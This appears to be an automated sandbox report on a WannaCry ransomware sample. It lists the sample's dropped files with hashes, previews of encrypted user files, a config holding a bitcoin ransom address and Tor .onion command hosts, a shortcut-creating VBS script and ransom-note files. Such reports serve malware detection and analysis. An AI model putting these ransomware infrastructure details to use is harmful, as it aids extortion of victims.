                                    Preview:WANACRY!......ewQ....dj...9....L.Bl&......+....j..+V....3N!...,...$P.]z.......f.0.......e-.z..C.m.....ou.be.g.S..z8.;i..$y...d.......K..\.....F..u.[.;.x.4.4..5G..R....qd.},.+..I.s.j..x.oO.]8.n...Kx%.Al;..q....[.!~(veW...RE..g.8.}..ju...N..`+C......u......................n#K.Ut.dW.#.._.L).N.+..k.JR...b..qo.I.... $ ...v.|.b....7.l\.....s.b0...z(....=Y.\.(g..p..x.:..?Wh.4..".D.Db.?.@.o:e......E..x..8Yg..h.]Qb.=k.`>..Y...K-[j..E..Jda...<..$O.'<...x.j.B.`..U........u..(....p.......l./.L.."n<zV...'....../.-.._..yd.%U.%.....bC...f.r.....$...^2.E.*I..I.....m........}...e.8].'.......z......V.d.(.].X.|../.E....P<xX...u...ca.^.hy..e.K.A....w.<6.\N8c..1?..q.x7.;%a.n..R.......Q..Q.`}+9].....4.....o....Jh...Z....Ej..w.]..3.....vk..Q..x...u.W._C..a...9..Ux.#.........GZ'9.......%...b.Ry.F...CU./.0.2.ElB.A.....t.b0/.mC.J.4...=b..E.........u%...._r.a,..oh|..r..eL..7...$.0.......!..4E..'#.{|p..@N4..&.....`..qE.....|..iq.i.....i.W.V.|......v...

                                    C:\Users\user\Desktop\WHZAGPPPLA.mp3.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.847125901339738
                                    Encrypted:false
                                    SSDEEP:24:bk7hnSU5WsMsuxStr4FjKpNhd+5sQSIgCzbLIPcAbXPmVph/B0OIHQAPIWq:bkcU5WsZjcMNhysQNgobLIxb+g9HQR
                                    MD5:46889166D25A7A2FFB1CAD078D05D773
                                    SHA1:50960ED0BF92CB61A6898FC981EE6B7B060AF928
                                    SHA-256:1BBB8E4B6BC808C5081205B693B1F3F5F19A72236820313759F3588F544F85BD
                                    SHA-512:53217CAEB664F0D09ABE613F7A24EFB9A0DFCFDF62EDCF1ADB2EFCE519DCF125DF6C7542995319C22B958490006FB27E2FFD6B78408CA7140C175DB82069A58B
                                    Malicious:false
                                    Preview:WANACRY!......ewQ....dj...9....L.Bl&......+....j..+V....3N!...,...$P.]z.......f.0.......e-.z..C.m.....ou.be.g.S..z8.;i..$y...d.......K..\.....F..u.[.;.x.4.4..5G..R....qd.},.+..I.s.j..x.oO.]8.n...Kx%.Al;..q....[.!~(veW...RE..g.8.}..ju...N..`+C......u......................n#K.Ut.dW.#.._.L).N.+..k.JR...b..qo.I.... $ ...v.|.b....7.l\.....s.b0...z(....=Y.\.(g..p..x.:..?Wh.4..".D.Db.?.@.o:e......E..x..8Yg..h.]Qb.=k.`>..Y...K-[j..E..Jda...<..$O.'<...x.j.B.`..U........u..(....p.......l./.L.."n<zV...'....../.-.._..yd.%U.%.....bC...f.r.....$...^2.E.*I..I.....m........}...e.8].'.......z......V.d.(.].X.|../.E....P<xX...u...ca.^.hy..e.K.A....w.<6.\N8c..1?..q.x7.;%a.n..R.......Q..Q.`}+9].....4.....o....Jh...Z....Ej..w.]..3.....vk..Q..x...u.W._C..a...9..Ux.#.........GZ'9.......%...b.Ry.F...CU./.0.2.ElB.A.....t.b0/.mC.J.4...=b..E.........u%...._r.a,..oh|..r..eL..7...$.0.......!..4E..'#.{|p..@N4..&.....`..qE.....|..iq.i.....i.W.V.|......v...

                                    C:\Users\user\Desktop\WSHEJMDVQC.jpg

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.77908605636283
                                    Encrypted:false
                                    SSDEEP:24:4alvsvLj6Xar9ahcnZaKCWE0nPtx7HkTVJU7N5ie3ffG:45H6Xoah+6CP7dee3ffG
                                    MD5:EA306914D91662483B4BA0364E143935
                                    SHA1:E13AAA0EEED193AAE5B99F07D692B61AA0D8B0ED
                                    SHA-256:57A5B1BFEF910CF5E47C7F3EBB4A910A97EA82E4B9862D6B8410D93DDF3AB4F7
                                    SHA-512:BB098E7EC29F1925A45FC9BFC89FA619D70794CDFF4A6483451C9ED35D4446DDEA4CBACE6E5B81C3B2E4C17CB3ABF7CEB434E5FFFBC1412A946752BDCA264A70
                                    Malicious:false
                                    Preview:..E..t...;y2X.*....r.....2V..7\.X...2]..=..cl.........D.=....5.<.,..D..rG./<..f.R.ZqmI|.N.......HZ!...f...Y.......fvg{1..2X.^A.W>...l..o....H..n..y...HQ..?..A........}.(S..6(U..H~.>o3.......EL.R.| n.iP.B..I....O......xO,tr^.o.]. D-%%..".#....%4.m\..|..6Y..8G.T.O.. 3.E..\.'.a......c#k..h.nXA.*.....R.$....-\.X.j.&.%.o....l.pe}...\].'G..#Sa...]$..vf.N..p.......r..c....ZZ..P._A......;Mk.e.U..^...f0..cv....y...B.]..g.YE..a41..w.k.........w..@d>.`...(R6.Q..R......tU...W`.e<.{Z...+.6..._hE.I*.4.V..y...@.&..YP9?0..."..K.....K7>..<..M.' ...O....G|..!......A..O../.i.g....k....1$........u..{-|w.a..VF.q..DV....F...u..<F`..\...),..r.#.....uzB;....Q..CEp...%zvm.>.o.-z...........D.O.Mj..R.;.....[..hp.N.v.....%.P.y..... A.Q..*Y."....$9.D|l.wR().v..MHt_n..&f>.p..d..~...#.4a.Vb..4......>..4.."....N...1.._GW:.!>.|r~..^....O.X..2l.<...U...k.;".....-5$.x.$ +.o].o...al.CL_.y...C.g.n|Z|fW.w..g._p..8..R..'...i=........1...0..l.2.j.Hj1&.64G..O..O....g

                                    C:\Users\user\Desktop\WSHEJMDVQC.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.837386658996024
                                    Encrypted:false
                                    SSDEEP:24:bkQYfVc2aI9Tp+h7Tq8O9pMUsm/pDfJs6SbCYGYkgRqOvNvb/gv:bkpu8t9zsYJSbh7tNv8
                                    MD5:30CC26CD577691A2001C95266D2C0EAA
                                    SHA1:C6951727B871BD8910293552C5EC29DEDDCEDBE3
                                    SHA-256:EA16E1314F1ECB9F512C582017E2DFFAB543DB79D86C33AB1D387747D7318381
                                    SHA-512:4F6F0B34920174C69FC7C7053B8E8F4D720B9337EEB417CD906BB96F88F69799453A43DBA1DE32A1D6A5366A8EA1090735ACF03853BFE1DF67854FBA43646548
                                    Malicious:false
                                    Preview:WANACRY!.....-...rkN.v...^.C....n...D&......G.{..*|..8V.!`(...'...{W..T..[.g}....Ti...a...e...}.....8..).._(.dE.lR...3aF..vg........_-S.Ml9.B.........PB..0.....m.p.....[Rh.s....LE.g....A....vm.t2.R.N..91....z|G=...`Y`....Q..!M.....Z.........E....ZS.P""...............; O....*.Z.Q..>.P.*X5 ...k.L.~,.b...Q>.Y.F.`S..r&.~.b...x..1{n..YN.....!.......&..Lm)^../...\...X$..4.}...._.x)i...)...V.N..M.j..Ak..#N..0........!..9....l.n...|.-..X....d.]. N.o%.6.d.Kx.....3.H![,.9.r.{3..)3..2.....p.I\~+)(mT....S..p.. /..F.F....%I)..,...tE...9...~..#...9.....S..b...C..........<Y...O...7k.#..7*....5./..gt..0..\P...T...6.n~rqpc#.T.-........_T.....B..&&..W..I10Z..4&.q.........Fa..>[.m.w/@..`......ku.Np....#V..!.O../.....k7.D.8N.-...L...N...Po.D.A{E.Lv...N?.y.'.R_..NdI..,..s@..p;.e.a<..^C.f....@7...6... .0..%...b..!|.`..g.~......Y.\..?>l........c....:!.....*.a*[..#.V.y.C.p...E..rP..#..F.a..&..iZ.#..{X.7..a.....5.u....Z....V..c....P.....D........8...._ .'...

                                    C:\Users\user\Desktop\WSHEJMDVQC.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.837386658996024
                                    Encrypted:false
                                    SSDEEP:24:bkQYfVc2aI9Tp+h7Tq8O9pMUsm/pDfJs6SbCYGYkgRqOvNvb/gv:bkpu8t9zsYJSbh7tNv8
                                    MD5:30CC26CD577691A2001C95266D2C0EAA
                                    SHA1:C6951727B871BD8910293552C5EC29DEDDCEDBE3
                                    SHA-256:EA16E1314F1ECB9F512C582017E2DFFAB543DB79D86C33AB1D387747D7318381
                                    SHA-512:4F6F0B34920174C69FC7C7053B8E8F4D720B9337EEB417CD906BB96F88F69799453A43DBA1DE32A1D6A5366A8EA1090735ACF03853BFE1DF67854FBA43646548
                                    Malicious:false
                                    Preview:WANACRY!.....-...rkN.v...^.C....n...D&......G.{..*|..8V.!`(...'...{W..T..[.g}....Ti...a...e...}.....8..).._(.dE.lR...3aF..vg........_-S.Ml9.B.........PB..0.....m.p.....[Rh.s....LE.g....A....vm.t2.R.N..91....z|G=...`Y`....Q..!M.....Z.........E....ZS.P""...............; O....*.Z.Q..>.P.*X5 ...k.L.~,.b...Q>.Y.F.`S..r&.~.b...x..1{n..YN.....!.......&..Lm)^../...\...X$..4.}...._.x)i...)...V.N..M.j..Ak..#N..0........!..9....l.n...|.-..X....d.]. N.o%.6.d.Kx.....3.H![,.9.r.{3..)3..2.....p.I\~+)(mT....S..p.. /..F.F....%I)..,...tE...9...~..#...9.....S..b...C..........<Y...O...7k.#..7*....5./..gt..0..\P...T...6.n~rqpc#.T.-........_T.....B..&&..W..I10Z..4&.q.........Fa..>[.m.w/@..`......ku.Np....#V..!.O../.....k7.D.8N.-...L...N...Po.D.A{E.Lv...N?.y.'.R_..NdI..,..s@..p;.e.a<..^C.f....@7...6... .0..%...b..!|.`..g.~......Y.\..?>l........c....:!.....*.a*[..#.V.y.C.p...E..rP..#..F.a..&..iZ.#..{X.7..a.....5.u....Z....V..c....P.....D........8...._ .'...

                                    C:\Users\user\Desktop\WSHEJMDVQC.xlsx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.815969088323863
                                    Encrypted:false
                                    SSDEEP:24:+lg95abr3l7nCSa6sD/Jx0GwsIO4fTnBfBa8KUVJw:++5abRjCdJD//VCOWB9KZ
                                    MD5:CA60D7F8D8729FBFAC6CC99B9A3FBC7D
                                    SHA1:46B3F6673EAEFFCD3731AA006ABB0B589B11E30D
                                    SHA-256:02DC83C9642D61ED29F2828A21C2551AB36F135AE3CB38A55F04B741E53E954E
                                    SHA-512:D98C5FA0F188BCCC867A1522F3311D12737F65D0C4897FDCD9728272016DB0D6ADF7BD456617607F62C50C5CD5E53FE0F2AD0BC36258F1B81C37FABFCC43090A
                                    Malicious:false
                                    Preview:...D......[.9.C,gN2#.@EA....|"......@T.."...1.7.L\.Y..k....O46;......-..8P.P....W^....y....yg.Y4.....'9..P.R../..[~A.VH@..">z.C..QU-I......?.K...g.....M.?1.>..U.<t..x.$J.......~CN`.U:....I.@.:....4gX./.....V......UJ.u...6Q.......0.H..6h....Hw........7...P<f......AY..*.z..(^.u.+QT1....zL........n".G[.5..a:_........Q..wm..8......c./..I.\..>Rk}=i..C..l..8.l.d:<.U..!..U9O*.kQ)Z..w$.......=~..)...N...EO...4...S1&...m .X.Q`<..GDt......../]t3...Z......Jy[.:.n........F...#4X!8..Hk...g..V...gJv....:...I*....H...Q......$.6.P.J-.....w...}.._....PI.F....|..f....-Z.Y...J\..A......k..1.[X....g.r..8.|.E..aU.-..pJ.........f.Y....1g....".u......MT.-m.......f..JgH..1I3...........%..W.k...&.~H4.*..u%.g..H...%._.G..Z.s.+..-x!O.....$..e.SG.&.R..5.l.*j..]..,..$...;..m.3..r.Hx.R.G#V.y^.I....ak....Y..F3,,`..p.Z**v...(.V.h+...f.'85.S.....X...35.e.0U....q..|=..r.8..m..1#.M.n.....T..vl....-...v.g...(.v...y..'..".8..Z..Z:>=...B.^TSs.!.@.U....P...v.&fv'....ONo!.....Nhe.. z

                                    C:\Users\user\Desktop\WSHEJMDVQC.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.822195983804115
                                    Encrypted:false
                                    SSDEEP:24:bk5/S4ozVUVaT+scIzNg8LAKqUYnJ7O2W3dpLyi2wdon4CNPZPPWrTRnk/JjBty:bkkr4Ug8sRgdxywgXhPPWFCVI
                                    MD5:1C76D07EF89640BBBAE9B5BD018BCEC6
                                    SHA1:4546BE55B34380CEEEDA447486350A36E1F9AEE1
                                    SHA-256:6579CDEE849FA683E635F05951112C7CC162B38281D42E341752A1B8D52E7D9D
                                    SHA-512:1B80A1C1AAF2B68E690DA1C9B62258FB675C4C227CB1E06F1466E4B0920ABD0A8EC251FAC89D6647DF44E7E56272616195DBE24CCB279F2AA9CA53913D658B95
                                    Malicious:false
                                    Preview:WANACRY!....L;.~Y.....H.../.M.<.../#.JVl.....].....@....lN.i."....P..u...Zn..%....,"\.._`.......$....g..[.z.B....J..P.>S..o.L1.Hn>./&........f.vQ!.,...?.b!.%W2..g2w.@"....+...O.F.K...x..{..K....+...$.a.l#.....{..M.N.X..f.....@C.r-......!...4..x......X.?............kjE@.s..w"[.0....?.F..&:}...j.B.X.N....-..S...N.k.*TPWNwgh.Vy...I.S,.N.->.!.$..(..j[.....{.B)<'... .....Zd...m:...%...y..h...u..........z.t.'e..e9\&=..M9.t.2X._....D.;....f..h./..B..$.t.'...%...&.}....$@.[.y-...>....P........r..8.D@....?b.E.e.ePY}..D... ..`...!z...;.P?^..'s>Vn.........dbj.M......6..g~.\...~.d..g.^N>]./............A...6.....Rw^......iY.Z.l..h......$.t3l>>b[.C|9o.. .v.%D}.j.....3KGi.fz.-' ]...#...u....!X.'..MJ......i.FC... ...(.&.-&'.U~...9_...;i.v....0..c....T..l..Nv..=.>.)B,.>.>...m..H..B.......Q...3NGWeA..l...G.yB.y...)}..*.9.....H..}c...t.E.D.rF.....2...(-.......K.U.iu.0....k.R....J..lN.a.....o...E..E..r.7..M.h*..n..A&...qK.&.... .....)...;Zc/2SW...7...A........Hv.

                                    C:\Users\user\Desktop\WSHEJMDVQC.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.822195983804115
                                    Encrypted:false
                                    SSDEEP:24:bk5/S4ozVUVaT+scIzNg8LAKqUYnJ7O2W3dpLyi2wdon4CNPZPPWrTRnk/JjBty:bkkr4Ug8sRgdxywgXhPPWFCVI
                                    MD5:1C76D07EF89640BBBAE9B5BD018BCEC6
                                    SHA1:4546BE55B34380CEEEDA447486350A36E1F9AEE1
                                    SHA-256:6579CDEE849FA683E635F05951112C7CC162B38281D42E341752A1B8D52E7D9D
                                    SHA-512:1B80A1C1AAF2B68E690DA1C9B62258FB675C4C227CB1E06F1466E4B0920ABD0A8EC251FAC89D6647DF44E7E56272616195DBE24CCB279F2AA9CA53913D658B95
                                    Malicious:false
                                    Preview:WANACRY!....L;.~Y.....H.../.M.<.../#.JVl.....].....@....lN.i."....P..u...Zn..%....,"\.._`.......$....g..[.z.B....J..P.>S..o.L1.Hn>./&........f.vQ!.,...?.b!.%W2..g2w.@"....+...O.F.K...x..{..K....+...$.a.l#.....{..M.N.X..f.....@C.r-......!...4..x......X.?............kjE@.s..w"[.0....?.F..&:}...j.B.X.N....-..S...N.k.*TPWNwgh.Vy...I.S,.N.->.!.$..(..j[.....{.B)<'... .....Zd...m:...%...y..h...u..........z.t.'e..e9\&=..M9.t.2X._....D.;....f..h./..B..$.t.'...%...&.}....$@.[.y-...>....P........r..8.D@....?b.E.e.ePY}..D... ..`...!z...;.P?^..'s>Vn.........dbj.M......6..g~.\...~.d..g.^N>]./............A...6.....Rw^......iY.Z.l..h......$.t3l>>b[.C|9o.. .v.%D}.j.....3KGi.fz.-' ]...#...u....!X.'..MJ......i.FC... ...(.&.-&'.U~...9_...;i.v....0..c....T..l..Nv..=.>.)B,.>.>...m..H..B.......Q...3NGWeA..l...G.yB.y...)}..*.9.....H..}c...t.E.D.rF.....2...(-.......K.U.iu.0....k.R....J..lN.a.....o...E..E..r.7..M.h*..n..A&...qK.&.... .....)...;Zc/2SW...7...A........Hv.

                                    C:\Users\user\Desktop\b.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:PC bitmap, Windows 3.x format, 800 x 600 x 24, image size 1440000, resolution 3779 x 3779 px/m, cbSize 1440054, bits offset 54
                                    Category:dropped
                                    Size (bytes):1440054
                                    Entropy (8bit):0.3363393123555661
                                    Encrypted:false
                                    SSDEEP:384:zYzuP4tiuOub2WuzvqOFgjexqO5XgYWTIWv/+:sbL+
                                    MD5:C17170262312F3BE7027BC2CA825BF0C
                                    SHA1:F19ECEDA82973239A1FDC5826BCE7691E5DCB4FB
                                    SHA-256:D5E0E8694DDC0548D8E6B87C83D50F4AB85C1DEBADB106D6A6A794C3E746F4FA
                                    SHA-512:C6160FD03AD659C8DD9CF2A83F9FDCD34F2DB4F8F27F33C5AFD52ACED49DFA9CE4909211C221A0479DBBB6E6C985385557C495FC04D3400FF21A0FBBAE42EE7C
                                    Malicious:false
                                    Preview:BM6.......6...(... ...X.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                    C:\Users\user\Desktop\c.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):780
                                    Entropy (8bit):2.3626374636337375
                                    Encrypted:false
                                    SSDEEP:6:cL+T2xglKaHqHgVcKKfF9mHRMMPRGS37LlN/sUQqGUSGeTsdEC:cw2laRVcKKfm2MYS3sUQqGLGeTEV
                                    MD5:93F33B83F1F263E2419006D6026E7BC1
                                    SHA1:1A4B36C56430A56AF2E0ECABD754BF00067CE488
                                    SHA-256:EF0ED0B717D1B956EB6C42BA1F4FD2283CF7C8416BED0AFD1E8805EE0502F2B4
                                    SHA-512:45BDD1A9A3118EE4D3469EE65A7A8FDB0F9315CA417821DB058028FFB0ED145209F975232A9E64ABA1C02B9664C854232221EB041D09231C330AE510F638AFAC
                                    Malicious:false
                                    Preview:...........................................................................................................................C......................................................13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94................gx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;.......................................................................................................................................https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip...........................................................................................................................................................................................................................................

                                    C:\Users\user\Desktop\f.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):871
                                    Entropy (8bit):4.979274751489461
                                    Encrypted:false
                                    SSDEEP:24:ojzwVwuVwuVwuVwub+OF8kyEQfwVwuVwuVwuVwuVwuVwuKQOVwVwuVwuVwuVwuVa:ongwawawawub1Wky5gwawawawawawuKL
                                    MD5:B6B9013CA090E5CEF25CE257FEAA105E
                                    SHA1:4EA05BAE3520961525D3A1E33BA8D910542CC7BE
                                    SHA-256:DE7E3E97B17B1BF128108024549C40D1352D7BBDC090C29BBD6F2571427B9087
                                    SHA-512:F92E468D80E29695102C21A328F22B179B7BC6726C47F6053A7C157AAE3BD0BE3D2236799EC85A15E14A8A0E93E998107EF2D011FE1078EAFC7BB1A867304C52
                                    Malicious:false
                                    Preview:C:\Users\user\Documents\WSHEJMDVQC.jpg.WNCRY..C:\Users\user\Documents\LFOPODGVOH\AQRFEVRTGL.xlsx.WNCRY..C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409653224421742.txt.WNCRY..C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.SkypeApp_kzf8qxf38zg5c\LocalState\DiagOutputDir\SkypeApp0.txt.WNCRY..C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_96.db.WNCRY..

                                    C:\Users\user\Desktop\m.vbs

                                    Download File
                                    Process:C:\Windows\SysWOW64\cmd.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):205
                                    Entropy (8bit):5.001098183947439
                                    Encrypted:false
                                    SSDEEP:3:gponhvDCKFcsD0naRRlynJ96JS2x9rbP0naRRlynJSK2Fvn:e+hvbcSRoJgJSoPcSRoJSK2Fv
                                    MD5:49B887DF2E11FD596821B9FAC0ACD90F
                                    SHA1:796521E79F7450B796900BF0CBF926A1A69727AB
                                    SHA-256:34108826AF5B31ABC140E7499D3999252F6D1749DA6A049276BF94555F812624
                                    SHA-512:8920AB5511C2CD06C792E53399CD39D3C708BA73C31EBA73472795B02C73AE0A0E1DA8CC37C20ED107468CE54853E06EB149E5E895C760B5D9053B511BE2BA8C
                                    Malicious:true
                                    Preview:SET ow = WScript.CreateObject("WScript.Shell")..SET om = ow.CreateShortcut("C:\Users\user\Desktop\@WanaDecryptor@.exe.lnk")..om.TargetPath = "C:\Users\user\Desktop\@WanaDecryptor@.exe"..om.Save..

                                    C:\Users\user\Desktop\msg\m_bulgarian.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):47879
                                    Entropy (8bit):4.950611667526586
                                    Encrypted:false
                                    SSDEEP:768:Shef3jHdCG28Eb1tyci8crbEw6/5+3xFkbP0vyzbZrS14e:SheU5De
                                    MD5:95673B0F968C0F55B32204361940D184
                                    SHA1:81E427D15A1A826B93E91C3D2FA65221C8CA9CFF
                                    SHA-256:40B37E7B80CF678D7DD302AAF41B88135ADE6DDF44D89BDBA19CF171564444BD
                                    SHA-512:7601F1883EDBB4150A9DC17084012323B3BFA66F6D19D3D0355CF82B6A1C9DCE475D758DA18B6D17A8B321BF6FCA20915224DBAEDCB3F4D16ABFAF7A5FC21B92
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                    C:\Users\user\Desktop\msg\m_chinese (simplified).wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):54359
                                    Entropy (8bit):5.015093444540877
                                    Encrypted:false
                                    SSDEEP:768:SWjkSFwwlUdcUG2HAmDTzpXtgmDNQ8qD7DHDqMtgDdLDMaDoKMGzD0DWJQ8/QoZ4:SWcwiqDB
                                    MD5:0252D45CA21C8E43C9742285C48E91AD
                                    SHA1:5C14551D2736EEF3A1C1970CC492206E531703C1
                                    SHA-256:845D0E178AEEBD6C7E2A2E9697B2BF6CF02028C50C288B3BA88FE2918EA2834A
                                    SHA-512:1BFCF6C0E7C977D777F12BD20AC347630999C4D99BD706B40DE7FF8F2F52E02560D68093142CC93722095657807A1480CE3FB6A2E000C488550548C497998755
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\*\panose 020b0604020202020204}Arial;}..{\f12\fbidi \froman\fcharset129\fprq2{\*\panose 02030600000101010101}\'b9\'d9\'c5\'c1{\*\falt Batang};}{\f18\fbidi \fmodern\fcharset136\fprq1{\*\panose 02020509000000000000}MingLiU{\*\falt 2OcuAe};}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\f44\fbidi \froman\fcharset129\fprq2{\*\panose 02030600000101010101}@\'b9\'d9\'c5\'c1;}..{\f45\fbidi \fmodern\fcharset136\fprq1{\*\panose 02020509000000000000}@MingLiU;}{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}..{\f54\fbidi \fmodern\fchar

                                    C:\Users\user\Desktop\msg\m_chinese (traditional).wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):79346
                                    Entropy (8bit):4.901891087442577
                                    Encrypted:false
                                    SSDEEP:768:SDwtkzjHdLG2xN1fyvnywUKB5lylYlzlJpsbuEWeM/yDRu9uCuwyInIwDOHEhm/v:SDnz5Rt4D4
                                    MD5:2EFC3690D67CD073A9406A25005F7CEA
                                    SHA1:52C07F98870EABACE6EC370B7EB562751E8067E9
                                    SHA-256:5C7F6AD1EC4BC2C8E2C9C126633215DABA7DE731AC8B12BE10CA157417C97F3A
                                    SHA-512:0766C58E64D9CDA5328E00B86F8482316E944AA2C26523A3C37289E22C34BE4B70937033BEBDB217F675E40DB9FECDCE0A0D516F9065A170E28286C2D218487C
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\*\panose 020b0604020202020204}Arial;}..{\f11\fbidi \fmodern\fcharset128\fprq1{\*\panose 02020609040205080304}MS Mincho{\*\falt ?l?r ??\'81\'66c};}{\f12\fbidi \froman\fcharset129\fprq2{\*\panose 02030600000101010101}\'b9\'d9\'c5\'c1{\*\falt Batang};}..{\f18\fbidi \fmodern\fcharset136\fprq1{\*\panose 02020509000000000000}MingLiU{\*\falt 2OcuAe};}{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}..{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020

                                    C:\Users\user\Desktop\msg\m_croatian.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):39070
                                    Entropy (8bit):5.03796878472628
                                    Encrypted:false
                                    SSDEEP:384:SheftipUENLFsPzy3EFHjHdb2YG2+d18Scgn8c8/868H1F8E8/8Z3m8VdAm86a8n:Shef3jHd3G2n+p/mZrS14A
                                    MD5:17194003FA70CE477326CE2F6DEEB270
                                    SHA1:E325988F68D327743926EA317ABB9882F347FA73
